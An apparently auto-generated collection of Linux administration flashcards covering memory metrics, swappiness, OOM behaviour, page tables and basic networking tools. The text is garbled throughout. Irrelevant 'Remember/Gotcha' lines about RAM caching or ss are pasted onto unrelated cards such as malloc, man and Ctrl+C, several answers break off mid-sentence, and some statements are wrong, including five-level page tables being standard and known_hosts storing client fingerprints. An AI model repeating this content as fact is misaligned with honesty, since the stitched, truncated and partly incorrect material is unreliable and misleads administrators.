The <html><code>free</code></html> command historically displayed only "used" and "free" columns, making healthy systems appear memory-starved. Linux 3.14 / procps-ng 3.3.10 (2014) introduced the "available" column, which estimates how much memory is truly allocatable — combining free RAM and reclaimable cache. Before that column existed, the only confirmation of real memory exhaustion was triggering an OOM (Out Of Memory) event.
Correct operational interpretation:
* ''Low free + high available'': healthy; kernel is productively caching.
* ''Low available + high buff/cache'': kernel is caching aggressively but memory is still accessible.
* ''Low available + low buff/cache'': genuine memory pressure — investigate.
A practical threshold: available below ~10% of total RAM signals real pressure. During high-I/O operations (large file copies, database checkpoints), cache may grow rapidly and temporarily reduce available memory, then release once I/O completes. Snapshot readings of <html><code>free</code></html> are less informative than trending available over time.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?]]
The Linux virtual memory system manages address translation via multi-level page tables. Originally, three levels (PGD, PMD, PTE) were sufficient for 32-bit systems addressing 4 GB of virtual address space. As systems grew to 64-bit architectures, the three-level hierarchy was extended to four levels (PGD, PUD, PMD, PTE) in kernel 2.6.11 (released 2005), supporting up to 64 TB of virtual address space per process.
Four levels remained the standard for nearly twelve years. With the proliferation of high-end servers (512+ GB of RAM, petabyte-scale storage), kernel 4.14 (released 2017) introduced a fifth page table level (P4D) to support 57-bit virtual addressing — equivalent to 128 PB of virtual address space per process. This provides headroom for workloads that require enormous virtual address ranges (sparse file mappings, address-space layout randomization on large systems).
Page table depth affects TLB behavior and memory management efficiency. More levels mean more TLB misses on address translation. Fewer levels mean larger page table footprint and reduced flexibility. The five-level hierarchy is now standard on 64-bit systems and transparent to userspace applications. Knowledge of the hierarchy is rarely necessary for system administration but becomes relevant when diagnosing TLB pressure or understanding kernel memory overhead.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
''Related atoms''
* [[Huge pages reduce TLB misses by two orders of magnitude]]
* [[What is a page table?]]
* [[Address Space Layout Randomization matured over 15 years of development]]
<html><code>vm.swappiness</code></html> (default 60, range 0–100) does not set a memory threshold at which swapping begins. It controls the ratio at which the kernel reclaims memory from the page cache versus swapping out anonymous pages when the system is under memory pressure. A value of 100 treats page cache and anonymous pages equally; a value of 0 tells the kernel to strongly prefer reclaiming filesystem cache, leaving anonymous pages untouched.
Setting <html><code>vm.swappiness=0</code></html> does ''not'' disable swapping. If page cache is exhausted and memory pressure persists, the kernel will swap anonymous pages regardless. With minimal cache remaining, this can trigger OOM kills because there is nothing else to reclaim. The only way to disable swapping entirely is <html><code>swapoff -a</code></html>, which removes all swap devices.
Optimal values depend on workload. Databases often use 10 to keep buffer pools in memory. Redis and caching layers frequently use 0 to avoid swap latency. Most general-purpose servers benefit from 10–20. The default of 60 is tuned for desktop-style workloads.
In troubleshooting, if a system is swapping despite <html><code>vm.swappiness=0</code></html>, the swappiness value is not the cause — the system has exhausted its cache and still lacks memory. Tuning swappiness cannot solve memory overcommitment; only adding RAM or reducing process memory demand will.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Explain a real scenario where lowering swappiness makes performance worse.]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
<html><code>MemFree</code></html> is raw unallocated physical RAM. <html><code>MemAvailable</code></html> is what applications can actually claim without triggering swap—it includes <html><code>MemFree</code></html> plus reclaimable caches: Buffers, Cached, and SReclaimable. The formula is roughly: <html><code>MemAvailable ≈ MemFree + Buffers + Cached + SReclaimable - Shmem</code></html>. Buffers and Cached are kernel page caches reclaimed on demand; they are not wasted memory.
<html><code>free -h</code></html> reports <html><code>available = free + reclaimable cache</code></html>—this is the number that matters for headroom.
''Monitoring gotcha:'' A "90% memory used" alert is frequently overstated. If <html><code>MemAvailable</code></html> is still high and <html><code>AnonPages</code></html> (application heap/stack/malloc memory) is low, the system has substantial headroom because caches can be freed under pressure.
''Per-process breakdown'' (<html><code>/proc/$PID/status</code></html>): <html><code>RssAnon</code></html> is anonymous (heap/stack) memory; <html><code>RssFile</code></html> is file-backed pages; <html><code>RssShmem</code></html> is shared memory or tmpfs mappings. Large system-wide <html><code>Shmem</code></html> indicates tmpfs or shared memory segments (<html><code>df -h /dev/shm</code></html> to investigate). Large <html><code>SReclaimable</code></html> indicates kernel slab caches—usually harmless and reclaimed automatically under pressure.
Rule: Linux caches aggressively. High "used" is normal. Check "available."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `/proc/meminfo` contain?]]
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
Q: How do you check memory and CPU stats on a Linux system?
A: Several approaches exist, all without installing extra tools:
''Interactive:'' <html><code>top</code></html> or <html><code>htop</code></html> shows live per-process CPU and memory usage.
''Memory overview:'' <html><code>free -h</code></html> shows RAM and swap. The key metric is ''available'' (= free + reclaimable page cache), not "free".
''Virtual memory / paging:'' <html><code>vmstat</code></html> shows physical and virtual memory stats including swap activity.
''CPU utilization over time:'' <html><code>sar</code></html> (from <html><code>sysstat</code></html>) provides historical CPU stats, but is not installed by default on most systems.
''Without any tools — raw <html><code>/proc</code></html>:''
* <html><code>cat /proc/meminfo</code></html> → MemTotal, MemFree, MemAvailable
* <html><code>cat /proc/cpuinfo</code></html> or <html><code>grep -c processor /proc/cpuinfo</code></html> → CPU count
These <html><code>/proc</code></html> files are always present on Linux regardless of installed packages.
''Remember:'' Linux memory hierarchy: RAM → Cache → Swap. The <html><code>available</code></html> field in <html><code>free -h</code></html> is the meaningful signal.
''Gotcha:'' High "used" memory is normal — Linux caches aggressively to speed up I/O. "Unused RAM is wasted RAM" is the design philosophy. Only worry if <html><code>available</code></html> is near zero or swap is heavily used.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[How you measure time execution of a program?]]
* [[How do you trace system calls?]]
* [[What does `/proc/meminfo` contain?]]
Q: What causes high kswapd CPU usage?
A: kswapd is the kernel swap daemon that reclaims memory pages. High CPU means memory pressure:
''Causes'':
* Memory pressure - system needs to reclaim pages constantly
* Excessive page reclamation - too much dirty memory
* Memory leaks - constant allocation without release
* Overcommit with active workloads
* Poor swappiness tuning for workload type
Remember: Swap = disk overflow. swappiness(0-100) controls aggressiveness. K8s disables.
Gotcha: Swap masks memory problems. Databases/K8s prefer <html><code>swapoff -a</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[Explain a real scenario where lowering swappiness makes performance worse.]]
* [[What is vm.swappiness and how does it control memory management?]]
* [[What is the difference between paging and swapping?]]
Q: How mount a temporary ram partition?
A: <html><pre><code class="language-bash"># -t - filesystem type
# -o - mount options
mount -t tmpfs tmpfs /mnt -o size=64M</code></pre></html>
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
* [[What is the purpose of /tmp?]]
Q: What is vm.swappiness and how does it control memory management?
A: Controls the kernel's tendency to swap anonymous memory vs reclaim page cache.
''Range'': 0-200 (0-100 traditionally, 200 with newer kernels)
''What it does'':
* Higher value: More willing to swap out inactive anonymous pages
* Lower value: Prefers keeping anonymous memory in RAM, reclaims file cache instead
''It's NOT a threshold'' - common misconception.
Remember: Swap = disk overflow. swappiness(0-100) controls aggressiveness. K8s disables.
Gotcha: Swap masks memory problems. Databases/K8s prefer <html><code>swapoff -a</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[What causes high kswapd CPU usage?]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
Q: Explain a real scenario where lowering swappiness makes performance worse.
A: Low swappiness causes page cache starvation and increased I/O amplification.
Scenario: Application server with hot working set of files
* swappiness=1 means "never swap, always drop page cache"
* Hot files constantly re-read from disk instead of staying cached
* Anonymous memory (rarely used) stays in RAM
* Result: massive I/O amplification, slower performance
Remember: Swap = disk overflow. swappiness(0-100) controls aggressiveness. K8s disables.
Gotcha: Swap masks memory problems. Databases/K8s prefer <html><code>swapoff -a</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
* [[What causes high kswapd CPU usage?]]
* [[vm.swappiness tuning for latency-sensitive servers]]
Q: Why does free not show all available memory as free?
A: Linux aggressively uses RAM for cache and buffers. Free memory is wasted memory.
''Understanding the output'':
<html><pre><code class="language-plaintext"> total used free shared buff/cache available
Mem: 16G 4G 1G 200M 11G 10G</code></pre></html>
Remember: <html><code>free -h</code></html>: available = free + reclaimable cache. That's what matters.
Gotcha: High "used" is normal — Linux caches aggressively. Check "available."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
Q: What does <html><code>free</code></html> show?
A: Memory usage: total, used, free, shared, buffers, cache, and available. <html><code>free -h</code></html> for human-readable output.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[What does `/proc/meminfo` contain?]]
Q: What is the "available" column in <html><code>free</code></html>?
A: An estimate of how much memory is available for starting new applications without swapping. It accounts for reclaimable cache and buffers. More useful than "free" for capacity planning.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[MemFree vs MemAvailable in /proc/meminfo]]
Q: How to debug binaries?
A: Several tools for debugging binaries:
# gdb - GNU Debugger (breakpoints, stepping, variables)
# strace - System call tracer
# ltrace - Library call tracer
# objdump - Disassembler
# nm - Symbol listing
# ldd - Shared library dependencies
# valgrind - Memory debugging (leaks, invalid access)
Compile with -g flag for debug symbols.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[Profiling Without Debug Symbols]]
* [[Using system call tracing to debug when application logs are unhelpful]]
Q: What is the difference between paging and swapping?
A: Both involve moving data between RAM and disk, but at different granularities.
Paging:
* Moves individual pages (4KB typically)
* Fine-grained memory management
* Pages moved to swap as needed
* Demand paging: load pages only when accessed
* Modern systems primarily use paging
Swapping (traditional):
Remember: Swap = disk overflow. swappiness(0-100) controls aggressiveness. K8s disables.
Gotcha: Swap masks memory problems. Databases/K8s prefer <html><code>swapoff -a</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What is vm.swappiness and how does it control memory management?]]
* [[Explain a real scenario where lowering swappiness makes performance worse.]]
* [[What is a swap partition? What is it used for?]]
Q: What is a swap partition? What is it used for?
A: Swap is disk space used as virtual memory extension.
Purpose:
* Extends available memory beyond physical RAM
* Holds inactive memory pages
* Enables hibernation (swap must be >= RAM)
* Prevents OOM when RAM is full
Types:
* Swap partition: Dedicated disk partition
Remember: Swap = disk overflow. swappiness(0-100) controls aggressiveness. K8s disables.
Gotcha: Swap masks memory problems. Databases/K8s prefer <html><code>swapoff -a</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What is a swap partition vs a swap file?]]
* [[What is vm.swappiness and how does it control memory management?]]
* [[What is the difference between paging and swapping?]]
Q: What is the return value of malloc?
A: malloc returns a pointer to allocated memory, or NULL on failure.
Returns:
* Success: Pointer to allocated memory (void*)
* Failure: NULL pointer
Important notes:
* Memory is uninitialized (garbage values)
* Use calloc() for zero-initialized memory
* Always check for NULL before use
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Why does free not show all available memory as free?]]
Q: Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?
A: The OOM killer targets unreclaimable memory, not total memory usage.
Key points:
* Page cache is reclaimable - kernel can drop it under pressure
* Anonymous memory (heap, stack) requires swap or process death
* OOM scoring penalizes unreclaimable RSS, not total VSZ
* A process with 10GB page cache but 100MB anon memory is "safer" than one with 2GB anon
* "Big process != bad process" from O
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
Q: Explain RSS vs VSZ vs PSS.
A: They describe different views of process memory usage and how shared pages are counted.
* VSZ: total virtual address space, including mapped files, shared libs, and reserved but unused pages.
* RSS: physical pages currently resident for the process, but shared pages are fully counted for each process.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What is PSS (Proportional Set Size)?]]
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?]]
Q: How do you identify and resolve performance bottlenecks in a data center?
A: Identifying and resolving performance bottlenecks in a data center involves a systematic approach: **Monitoring:* • Utilize monitoring tools to collect performance metrics, including CPU utilization, memory usage, disk I/O, and network traffic. **Analysis:* • Analyze collected data to identify patterns and anomalies. Look for spikes or consistent high utilization in specific resources. **Profiling:* • Use profiling tools to identify performance bottlenecks in software applications or specific server processes.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[How would you diagnose a sudden increase in server resource utilization?]]
* [[The Four Resources framework organizes performance bottlenecks]]
* [[The 60-second performance triage checklist covers all four resources]]
Q: How would you diagnose a sudden increase in server resource utilization?
A: • Identify the Resource: • Determine which resource is experiencing a sudden increase (CPU, memory, disk, or network). • Check Resource Monitoring: • Use monitoring tools (such as Task Manager or Performance Monitor) to review real-time resource utilization. • Review Recent Changes: • Investigate recent changes in software, configurations, or updates that may be contributing to increased utilization. • Check for Malware: • Scan for malware or unauthorized processes that could be consuming resources.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[How do you identify and resolve performance bottlenecks in a data center?]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
Q: Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide which process to kill first? How to control this?
A: The OOM killer selects processes to kill based on their <html><code>oom_score</code></html> (viewable at <html><code>/proc/<pid>/oom_score</code></html>). Higher scores mean higher kill priority. It targets processes that free the most memory with the least system impact.
To control it:
* Check a process score: <html><code>cat /proc/<pid>/oom_score</code></html>
* Protect a process: <html><code>echo -17 > /proc/<pid>/oom_adj</code></html> (or set <html><code>oom_score_adj</code></html> to -1000)
* Use cgroups to set <html><code>oom.priority</code></html> — 0 makes processes immune, higher values make them preferred targets
* System-wide: <html><code>/proc/sys/vm/overcommit_memory</code></html> controls whether the kernel overcommits memory (default 0 = heuristic overcommit)
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What is `/proc/PID/oom_score`?]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
Q: An application encounters some performance issues. You should to find the code we have to optimize. How to profile app in Linux environment?
A: Key profiling tools on Linux:
# ''top'' (batch mode): <html><code>top -b -p $(pidof app)</code></html> — shows CPU, memory, threads over time
# ''ps'': <html><code>ps --format pid,pcpu,cputime,etime,size,vsz,cmd -p $(pidof app)</code></html>
# ''perf'': Record with <html><code>perf record -g -p $(pidof app) sleep 10</code></html>, analyze with <html><code>perf report --stdio</code></html> — shows per-function CPU breakdown and call chains
# ''valgrind/callgrind'': <html><code>valgrind --tool=callgrind ./binary</code></html> then visualize with <html><code>kcachegrind</code></html>
# ''pstack/lsstack'': Quick stack snapshots of a running process
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
Q: What happens when you execute ls -l?
A: * Shell reads the input using getline() which reads the input file stream and stores into a buffer as a string
* The buffer is broken down into tokens and stored in an array this way: {"ls", "-l", "NULL"}
// Shell checks if an expansion is required (in case of ls //.c)
* Once the program in memory, its execution starts. First by calling readdir()
Notes:
* getline() originates in GNU C library and used to read lines from input stream and stores those lines in the buffer
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What system call is used for listing files?]]
* [[What happens when you execute ls -l *.log?]]
* [[Explain Linux I/O redirection]]
Q: What does the man command provide?
A: The manual page for a specific command.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
Remember: <html><code>man</code></html> sections: 1=commands, 2=syscalls, 3=library, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> shows the file format, not the command.
Example: <html><code>man -k keyword</code></html> searches all man pages. <html><code>man 2 open</code></html> shows the open() system call documentation.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What is a man page section number system?]]
* [[What is the difference between man and info?]]
* [[Why are there different sections in man? What is the difference?]]
Q: Explain the file content commands along with the description.
A: - <html><code>head</code></html>: to check the starting of a file.
* <html><code>tail</code></html>: to check the ending of the file. It is the reverse of head command.
* <html><code>cat</code></html>: used to view, create, concatenate the files.
* <html><code>more</code></html>: used to display the text in the terminal window in pager form.
* <html><code>less</code></html>: used to view the text in the backward direction and also provides single line movement.
Remember: Linux memory: RAM→Cache→Swap. <html><code>free -h</code></html> overview. "available" is key metric.
Gotcha: "unused RAM is wasted RAM" — Linux caches aggressively. This is healthy behavior.
Remember: <html><code>head -n 20</code></html> = first 20 lines. <html><code>tail -f</code></html> = follow live. <html><code>less</code></html> = paginate (search with /). <html><code>cat</code></html> = dump all.
Gotcha: <html><code>cat</code></html> on a huge file floods the terminal. Use <html><code>less</code></html> or <html><code>head</code></html> for large files.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
''Related atoms''
* [[What does tail -f do?]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[What does the man command provide?]]
Q: You typing <html><code>CTRL + C</code></html> but your script still running. How do you stop it?
A: In most cases, you can stop a running script by using the <html><code>CTRL + C</code></html> keyboard combination. This sends an interrupt signal (SIGINT) to the script, which terminates its execution. If this does not work and the script is still running, you can try using the <html><code>CTRL + \</code></html> combination, which sends a quit signal (SIGQUIT) to the script, which may terminate it immediately.
Remember: ping = ICMP Echo. No reply ≠ host down — firewalls block ICMP.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What happens when you press ctrl + c?]]
Q: What are you using for troubleshooting and debugging network issues?
A: <html><code>dstat -t</code></html> is great for identifying network and disk issues.
<html><code>netstat -tnlaup</code></html> can be used to see which processes are running on which ports.
<html><code>lsof -i -P</code></html> can be used for the same purpose as netstat.
<html><code>ngrep -d any metafilter</code></html> for matching regex against payloads of packets.
<html><code>tcpdump</code></html> for capturing packets
<html><code>wireshark</code></html> same concept as tcpdump but with GUI (optional).
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Find which process is listening on a port]]
Q: What can you find in /etc/services?
A: /etc/services maps service names to port numbers.
Format:
service-name port/protocol [aliases]
Examples:
ssh 22/tcp
http 80/tcp www
https 443/tcp
dns 53/udp
Purpose:
* Human-readable service names
* Used by netstat, ss, lsof for display
* getservbyname() library function
Not a firewall:
* Doesn't control access
* Just name-to-port mapping
* Informational only
Standard file across Unix systems (IANA assignments).
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Check which ports are open or listening on Linux]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
Q: Server shows high interrupt CPU usage (irq% in top). How do you troubleshoot?
A: High interrupt CPU indicates hardware generating excessive interrupts, often network-related.
Diagnostic steps:
# Identify the IRQ source: <html><code>cat /proc/interrupts</code></html> - look for rapidly increasing counters
# Per-CPU breakdown: <html><code>mpstat -P ALL 1</code></html> - see which CPUs handle interrupts
# Check for interrupt storms on specific device (e.g.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[You found a server with high CPU load but it's not clear which process is causing it. H…]]
* [[Average CPU utilization masks per-core saturation]]
* [[Per-core imbalance causes slow performance despite moderate average CPU]]
Q: What is NTP? What is it used for?
A: NTP (Network Time Protocol) synchronizes system clocks over network.
Purpose:
* Accurate timekeeping
* Synchronized time across servers
* Critical for: logs, certificates, distributed systems, auth
Components:
* ntpd or chronyd - NTP daemons
* NTP servers - Time sources (stratum levels)
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the difference between NTP and chrony?]]
* [[What is port 123 used for?]]
* [[What is `timedatectl`?]]
Q: You must run command that will be performed for a very long time. How to prevent killing this process after the ssh session drops?
A: Use <html><code>nohup</code></html> to make your process ignore the hangup signal:
<html><pre><code class="language-bash">nohup long-running-process &
exit</code></pre></html>
or you want to be using ''GNU Screen'':
<html><pre><code class="language-bash">screen -d -m long-running-process
exit</code></pre></html>
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How do you kill a process in D state?]]
* [[Kill a process locking or writing to a file]]
* [[How to run a process in the background and why to do that in the first place?]]
Q: True or False? By default, when creating two separate network namespaces, a ping from one namespace to another will work fine
A: False. Network namespace has its own interfaces and routing table. There is no way (without creating a bridge for example) for one network namespace to reach another.
Remember: ping = ICMP Echo. No reply ≠ host down — firewalls block ICMP.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How to link two separate network namespaces so you can ping an interface on one ns from…]]
* [[What is a network namespace? What is it used for?]]
* [[What happens when you `ping ::1`?]]
Q: What is stored in ~/.ssh/known_hosts?
A: The file stores the key fingerprints for the clients connecting to the SSH server. This fingerprint creates a trust between the client and the server for future SSH connections.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What ssh-keygen is used for?]]
* [[You try to ssh to a server and you get "Host key verification failed". What does it mean?]]
The loopback interface (<html><code>lo</code></html>) is a virtual network interface that allows a host to communicate with itself. It carries the address <html><code>127.0.0.1/8</code></html> in IPv4 and <html><code>::1/128</code></html> in IPv6. Traffic sent to it never leaves the host; the kernel routes it internally without touching any physical NIC.
Primary uses: inter-process communication between services on the same machine, local server access during development, and network-stack diagnostics and testing.
Key tools for inspection and debugging: <html><code>ip</code></html> / <html><code>ifconfig</code></html> (interface state and addresses), <html><code>ss</code></html> (active connections on loopback), <html><code>dig</code></html> (DNS resolution), <html><code>ping</code></html> / <html><code>traceroute</code></html> (reachability). When loopback-bound connectivity fails unexpectedly, check <html><code>iptables</code></html> rules and active sockets with <html><code>ss</code></html>, as firewall rules apply to loopback traffic and a service may not be listening on the expected port.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the loopback address in IPv6?]]
* [[What happens when you `ping ::1`?]]
Q: You would like to enable IPv4 forwarding in the kernel, how would you do it?
A: <html><code>sudo sysctl net.ipv4.ip_forward=1</code></html>
To make it persistent (applied after reboot for example): insert <html><code>net.ipv4.ip_forward = 1</code></html> into <html><code>/etc/sysctl.conf</code></html>
Another way to is to run <html><code>echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward</code></html>
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How can you turn your Linux server into a router?]]
* [[Kernel routing state is ephemeral; configuration must be persisted separately]]
Q: What is SSH port forwarding?
A: SSH tunneling routes traffic through encrypted SSH connection.
Types:
# Local (-L): ssh -L 8080:db:5432 bastion
** localhost:8080 reaches db:5432
# Remote (-R): ssh -R 8080:localhost:3000 server
** server:8080 reaches your localhost:3000
# Dynamic (-D): ssh -D 1080 bastion
** Creates SOCKS proxy
Use: Access internal services, bypass firewalls, encrypt protocols.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is SSH tunneling (port forwarding)?]]
* [[What is SSH? How to check if a Linux server is running SSH?]]
Q: What happens when you press ctrl + c?
A: When you press "Ctrl+C," it sends the SIGINT signal to the foreground process, asking it to terminate gracefully.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What signal is used by default when you run 'kill *process id*'?]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[What signal number is SIGINT?]]
traceroute shows the path packets take to reach a destination by sending probes with incrementing TTL (Time To Live) values. Each intermediate router that drops a packet because its TTL reaches zero responds with an ICMP Time Exceeded message, revealing that hop's identity and latency. This is the field in the IP header that traceroute manipulates.
Key usage notes:
* <html><code>traceroute -n</code></html> skips DNS resolution for faster output.
* <html><code>mtr</code></html> combines traceroute with continuous ping, providing richer real-time diagnosis of packet loss and latency per hop.
Common exam framing: "what part of the TCP/IP header does traceroute modify?" — the answer is the IP TTL field.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
